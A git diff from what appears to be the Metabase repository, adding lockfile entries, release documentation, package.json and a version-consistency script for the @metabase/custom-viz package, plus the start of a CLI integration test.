+ "@microsoft/api-extractor/semver/lru-cache": ["[email protected]", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="],
+
+ "@rushstack/node-core-library/semver/lru-cache": ["[email protected]", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="],
+
+ "@rushstack/terminal/supports-color/has-flag": ["[email protected]", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
+
+ "@vue/language-core/minimatch/brace-expansion": ["[email protected]", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA=="],
+
+ "boxen/string-width/emoji-regex": ["[email protected]", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
+
+ "boxen/string-width/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="],
+
+ "cli-truncate/string-width/is-fullwidth-code-point": ["[email protected]", "", { "dependencies": { "number-is-nan": "^1.0.0" } }, "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw=="],
+
+ "inquirer-autosubmit-prompt/chalk/ansi-styles": ["[email protected]", "", { "dependencies": { "color-convert": "^1.9.0" } }, "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA=="],
+
+ "inquirer-autosubmit-prompt/chalk/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "inquirer-autosubmit-prompt/chalk/supports-color": ["[email protected]", "", { "dependencies": { "has-flag": "^3.0.0" } }, "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow=="],
+
+ "inquirer-autosubmit-prompt/inquirer/ansi-escapes": ["[email protected]", "", {}, "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="],
+
+ "inquirer-autosubmit-prompt/inquirer/cli-width": ["[email protected]", "", {}, "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="],
+
+ "inquirer-autosubmit-prompt/inquirer/figures": ["[email protected]", "", { "dependencies": { "escape-string-regexp": "^1.0.5" } }, "sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA=="],
+
+ "inquirer-autosubmit-prompt/inquirer/mute-stream": ["[email protected]", "", {}, "sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ=="],
+
+ "inquirer-autosubmit-prompt/inquirer/run-async": ["[email protected]", "", {}, "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ=="],
+
+ "inquirer-autosubmit-prompt/inquirer/string-width": ["[email protected]", "", { "dependencies": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" } }, "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw=="],
+
+ "inquirer-autosubmit-prompt/inquirer/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^4.1.0" } }, "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA=="],
+
+ "inquirer-autosubmit-prompt/rxjs/tslib": ["[email protected]", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="],
+
+ "listr-input/inquirer/ansi-escapes": ["[email protected]", "", { "dependencies": { "type-fest": "^0.21.3" } }, "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ=="],
+
+ "listr-input/inquirer/chalk": ["[email protected]", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
+
+ "listr-input/inquirer/cli-cursor": ["[email protected]", "", { "dependencies": { "restore-cursor": "^3.1.0" } }, "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw=="],
+
+ "listr-input/inquirer/cli-width": ["[email protected]", "", {}, "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw=="],
+
+ "listr-input/inquirer/figures": ["[email protected]", "", { "dependencies": { "escape-string-regexp": "^1.0.5" } }, "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg=="],
+
+ "listr-input/inquirer/mute-stream": ["[email protected]", "", {}, "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA=="],
+
+ "listr-input/inquirer/run-async": ["[email protected]", "", {}, "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ=="],
+
+ "listr-input/inquirer/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="],
+
+ "listr-input/rxjs/tslib": ["[email protected]", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="],
+
+ "listr-update-renderer/chalk/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "listr-update-renderer/chalk/supports-color": ["[email protected]", "", {}, "sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g=="],
+
+ "listr-update-renderer/figures/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "listr-verbose-renderer/chalk/ansi-styles": ["[email protected]", "", { "dependencies": { "color-convert": "^1.9.0" } }, "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA=="],
+
+ "listr-verbose-renderer/chalk/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "listr-verbose-renderer/chalk/supports-color": ["[email protected]", "", { "dependencies": { "has-flag": "^3.0.0" } }, "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow=="],
+
+ "listr-verbose-renderer/figures/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "listr/rxjs/tslib": ["[email protected]", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="],
+
+ "log-update/wrap-ansi/string-width": ["[email protected]", "", { "dependencies": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" } }, "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw=="],
+
+ "log-update/wrap-ansi/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^3.0.0" } }, "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow=="],
+
+ "mlly/pkg-types/confbox": ["[email protected]", "", {}, "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w=="],
+
+ "read-pkg/parse-json/type-fest": ["[email protected]", "", {}, "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA=="],
+
+ "restore-cursor/onetime/mimic-fn": ["[email protected]", "", {}, "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ=="],
+
+ "run-jxa/execa/get-stream": ["[email protected]", "", {}, "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg=="],
+
+ "run-jxa/execa/human-signals": ["[email protected]", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="],
+
+ "run-jxa/execa/is-stream": ["[email protected]", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="],
+
+ "run-jxa/execa/npm-run-path": ["[email protected]", "", { "dependencies": { "path-key": "^3.0.0" } }, "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw=="],
+
+ "run-jxa/execa/onetime": ["[email protected]", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="],
+
+ "run-jxa/execa/signal-exit": ["[email protected]", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="],
+
+ "run-jxa/execa/strip-final-newline": ["[email protected]", "", {}, "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="],
+
+ "string-width/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="],
+
+ "widest-line/string-width/emoji-regex": ["[email protected]", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
+
+ "widest-line/string-width/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="],
+
+ "wrap-ansi/string-width/emoji-regex": ["[email protected]", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
+
+ "wrap-ansi/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
+
+ "@vue/language-core/minimatch/brace-expansion/balanced-match": ["[email protected]", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="],
+
+ "boxen/string-width/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
+
+ "inquirer-autosubmit-prompt/chalk/supports-color/has-flag": ["[email protected]", "", {}, "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw=="],
+
+ "inquirer-autosubmit-prompt/inquirer/figures/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "inquirer-autosubmit-prompt/inquirer/string-width/is-fullwidth-code-point": ["[email protected]", "", {}, "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w=="],
+
+ "inquirer-autosubmit-prompt/inquirer/string-width/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^3.0.0" } }, "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow=="],
+
+ "inquirer-autosubmit-prompt/inquirer/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="],
+
+ "listr-input/inquirer/ansi-escapes/type-fest": ["[email protected]", "", {}, "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w=="],
+
+ "listr-input/inquirer/chalk/ansi-styles": ["[email protected]", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
+
+ "listr-input/inquirer/chalk/supports-color": ["[email protected]", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
+
+ "listr-input/inquirer/cli-cursor/restore-cursor": ["[email protected]", "", { "dependencies": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" } }, "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA=="],
+
+ "listr-input/inquirer/figures/escape-string-regexp": ["[email protected]", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
+
+ "listr-input/inquirer/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="],
+
+ "listr-verbose-renderer/chalk/supports-color/has-flag": ["[email protected]", "", {}, "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw=="],
+
+ "log-update/wrap-ansi/string-width/is-fullwidth-code-point": ["[email protected]", "", {}, "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w=="],
+
+ "log-update/wrap-ansi/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw=="],
+
+ "widest-line/string-width/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
+
+ "inquirer-autosubmit-prompt/inquirer/string-width/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw=="],
+
+ "listr-input/inquirer/chalk/ansi-styles/color-convert": ["[email protected]", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="],
+
+ "listr-input/inquirer/chalk/supports-color/has-flag": ["[email protected]", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
+
+ "listr-input/inquirer/cli-cursor/restore-cursor/onetime": ["[email protected]", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="],
+
+ "listr-input/inquirer/cli-cursor/restore-cursor/signal-exit": ["[email protected]", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="],
+
+ "listr-input/inquirer/chalk/ansi-styles/color-convert/color-name": ["[email protected]", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="],
+ }
+}
diff --git a/enterprise/frontend/src/custom-viz/dev.md b/enterprise/frontend/src/custom-viz/dev.md
new file mode 100644
index 00000000000..38f190f47df
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/dev.md
@@ -0,0 +1,115 @@
+# Docs for development on the custom-viz package
+
+These docs cover building and releasing the `@metabase/custom-viz` package locally. If you just want to use the package, see the [README](README.md).
+
+## Prerequisites
+
+- Node.js >= 20
+- bun >= 1
+
+## Development
+
+```bash
+# Install dependencies
+bun install
+
+# Build in watch mode
+bun run dev
+
+# Production build
+bun run build
+```
+
+## Linting & Formatting
+
+```bash
+# Lint (uses oxlint)
+bun run lint
+
+# Format code
+bun run format
+
+# Check formatting
+bun run format:check
+```
+
+## Releasing
+
+Releases are published via the **Release Custom Viz Package** GitHub Actions workflow ([`.github/workflows/release-custom-viz.yml`](../../../.github/workflows/release-custom-viz.yml)).
+
+The workflow never edits [package.json](package.json). The only thing bumped in the version-bump PR is the `version` field. The npm dist-tag is derived from the version's pre-release label.
+
+### Version → npm dist-tag
+
+Only two version shapes are accepted:
+
+| Version in `package.json` | npm dist-tag |
+| ------------------------- | ------------ |
+| `X.Y.Z` | `latest` |
+| `X.Y.Z-canary.N` | `canary` |
+
+The release script rejects anything else.
+
+Convention:
+
+- On `master`, use `-canary.N` so the release does not land under `latest`.
+- On `release-x.NN.x`, use a clean `X.Y.Z` — it lands under `latest`.
+
+### How to cut a release
+
+1. Bump `version` in [package.json](package.json) and open a PR against the intended source branch (`master` for a canary; `release-x.NN.x` for a stable). The easiest way to bump is `npm version` from the package directory:
+
+ ```bash
+ cd enterprise/frontend/src/custom-viz
+
+ # canary → next canary (e.g. 0.0.1-canary.17 → 0.0.1-canary.18)
+ npm version prerelease --preid=canary --no-git-tag-version
+
+ # canary → stable patch (e.g. 0.0.1-canary.17 → 0.0.1)
+ # or stable → next patch (e.g. 0.0.1 → 0.0.2). Use minor/major as needed.
+ npm version patch --no-git-tag-version
+
+ # stable → first canary of next patch (e.g. 0.0.1 → 0.0.2-canary.0)
+ npm version prerelease --preid=canary --no-git-tag-version
+ ```
+
+ `--no-git-tag-version` stops npm from making a commit or git tag — the release workflow creates the git tag after the version-bump PR lands. The package is bun-managed (no `package-lock.json`), so `npm version` only edits `package.json`.
+
+2. (Optional) Preview what the workflow will resolve, from the repo root:
+
+ ```bash
+ ./bin/custom-viz/resolve-release.sh
+ # version=...
+ # npm_tag=...
+ # git_tag=...
+ ```
+
+3. Land the PR through normal review + CI.
+4. Go to the [**Release Custom Viz Package**](https://github.com/metabase/metabase/actions/workflows/release-custom-viz.yml) workflow and click **Run workflow**.
+5. Fill in the inputs:
+
+| Input | Description | Default |
+| ----------- | ------------------------------------------------------------------------------------ | -------- |
+| **branch** | Branch to release from. Must be `master` or `release-x.NN.x` (e.g. `release-x.60.x`) | `master` |
+| **dry_run** | Skip `npm publish` and `git push --tags`. Useful for validating the plan end-to-end. | `false` |
+
+6. Click **Run workflow**.
+
+### What the workflow does
+
+1. `determine-release` — runs [`bin/custom-viz/resolve-release.sh`](../../../bin/custom-viz/resolve-release.sh) to read `version` from `package.json`, derive the npm dist-tag from its pre-release label, and compute the git tag `custom-viz-v<version>`.
+2. `preflight` — fails if the git tag already exists or if the version is already published on npm, then runs `bun run check:package-versions`.
+3. `build-and-publish` — installs, builds, and runs `npm publish --tag <npm_tag>` (skipped when `dry_run=true`).
+4. `tag-git` — creates and pushes the annotated git tag `custom-viz-v<version>` (push skipped when `dry_run=true`).
+
+### npm provenance and required `package.json` fields
+
+Publishing uses [npm trusted publishing](https://docs.npmjs.com/trusted-publishers) from GitHub Actions, which automatically signs and publishes a Sigstore provenance attestation tying the tarball to this repo and the workflow run that built it.
+
+### Local publishing (manual)
+
+If you need to publish manually (e.g. for a one-off local build), you need an npm access token with publish access to the `@metabase` scope. Either set the `NPM_TOKEN` environment variable or run `npm login` before publishing.
+
+```bash
+bun run release
+```
diff --git a/enterprise/frontend/src/custom-viz/package.json b/enterprise/frontend/src/custom-viz/package.json
new file mode 100644
index 00000000000..b4ba0eee2a2
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/package.json
@@ -0,0 +1,56 @@
+{
+ "name": "@metabase/custom-viz",
+ "version": "0.0.1-canary.18",
+ "description": "Creating custom visualizations for Metabase",
+ "type": "module",
+ "bin": {
+ "metabase-custom-viz": "dist/cli.js"
+ },
+ "main": "dist/index.js",
+ "types": "dist/index.d.ts",
+ "exports": {
+ ".": {
+ "types": "./dist/index.d.ts",
+ "import": "./dist/index.js"
+ },
+ "./dev-server-landing.html": "./dist/templates/dev-server-landing.html"
+ },
+ "publishConfig": {
+ "access": "public"
+ },
+ "repository": {
+ "type": "git",
+ "url": "git+https://github.com/metabase/metabase.git",
+ "directory": "enterprise/frontend/src/custom-viz"
+ },
+ "files": [
+ "dist"
+ ],
+ "scripts": {
+ "build": "vite build && cp -r src/templates dist/templates",
+ "check:package-versions": "bun run scripts/check-package-versions.ts",
+ "dev": "vite build --watch",
+ "format": "prettier --write .",
+ "format:check": "prettier --check .",
+ "lint": "oxlint src/",
+ "release": "bun run build && np",
+ "test": "vitest run",
+ "test:watch": "vitest",
+ "type-check": "tsc --noEmit"
+ },
+ "dependencies": {
+ "commander": "^13.1.0"
+ },
+ "devDependencies": {
+ "@types/node": "^25.5.0",
+ "@types/react": "^18.3.3",
+ "@types/react-dom": "^18.3.1",
+ "np": "^11.0.2",
+ "oxlint": "^1.59.0",
+ "prettier": "^3.8.1",
+ "typescript": "^5.9.3",
+ "vite": "^8.0.3",
+ "vite-plugin-dts": "^4.5.4",
+ "vitest": "^4.1.3"
+ }
+}
diff --git a/enterprise/frontend/src/custom-viz/scripts/check-package-versions.ts b/enterprise/frontend/src/custom-viz/scripts/check-package-versions.ts
new file mode 100644
index 00000000000..c5d7e4de4cf
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/scripts/check-package-versions.ts
@@ -0,0 +1,67 @@
+/* eslint-disable no-console */
+import { readFileSync } from "fs";
+import { dirname, resolve } from "path";
+import { fileURLToPath } from "url";
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
+
+const files = new Map([
+ ["metabase root", resolve(__dirname, "../../../../../package.json")],
+ ["custom-viz sdk", resolve(__dirname, "../package.json")],
+ ["viz template", resolve(__dirname, "../src/templates/package.json")],
+]);
+
+const parsedFiles = new Map(
+ [...files].map(([label, filePath]) => [
+ label,
+ JSON.parse(readFileSync(filePath, "utf-8")),
+ ]),
+);
+
+const PACKAGES = new Set(["react", "@types/react"]);
+
+function getVersion(
+ pkg: Record<string, Record<string, string> | undefined>,
+ name: string,
+): string | undefined {
+ for (const field of ["dependencies", "devDependencies", "peerDependencies"]) {
+ const section = pkg[field];
+ if (section?.[name]) {
+ return section[name];
+ }
+ }
+ return undefined;
+}
+
+let failed = false;
+
+const normalize = (v: string) => v.replace(/^[\^~]/, "");
+
+for (const packageName of PACKAGES) {
+ const versions = [...parsedFiles].map(([label, pkg]) => ({
+ label,
+ version: getVersion(pkg, packageName),
+ }));
+
+ const declared = versions.filter((v) => v.version !== undefined);
+ const unique = new Set(declared.map((v) => normalize(v.version!)));
+ const status = unique.size > 1 ? "MISMATCH" : "ok";
+
+ console.log(`\n${packageName} [${status}]`);
+ for (const { label, version } of versions) {
+ console.log(` ${label}: ${version ?? "(not declared)"}`);
+ }
+
+ if (unique.size > 1) {
+ failed = true;
+ }
+}
+
+if (failed) {
+ console.error(
+ "\nVersion mismatch detected. Please align package versions across the files above.",
+ );
+ process.exit(1);
+}
+
+console.log("\nAll package versions are consistent.");
diff --git a/enterprise/frontend/src/custom-viz/src/cli.integration.spec.ts b/enterprise/frontend/src/custom-viz/src/cli.integration.spec.ts
new file mode 100644
index 00000000000..e966f77d25a
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/cli.integration.spec.ts
@@ -0,0 +1,279 @@
+import type { ChildProcess } from "node:child_process";
+import { execFile, spawn } from "node:child_process";
+import { existsSync, readFileSync, writeFileSync } from "node:fs";
+import { rm } from "node:fs/promises";
+import { tmpdir as osTmpdir } from "node:os";
+import { join } from "node:path";
+
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+
+const CLI_PATH = join(__dirname, "..", "dist", "cli.js");
+const CUSTOM_VIZ_PACKAGE_DIR = join(__dirname, "..");
+
+// Local dev server URL used in integration tests
+const DEV_SERVER_URL = "http://localhost:5174";
+
+let tmpDir: string;
+
+describe("build output validation", () => {
+ let projectDir: string;
+
+ beforeAll(async () => {
+ const { mkdtemp } = await import("node:fs/promises");
+ tmpDir = await mkdtemp(join(osTmpdir(), "custom-viz-build-"));
+ projectDir = await scaffold("test-viz-build");
+
+ // Point to local package
+ const pkgPath = join(projectDir, "package.json");
+ const pkg = JSON.parse(readFileSync(pkgPath, "utf-8"));
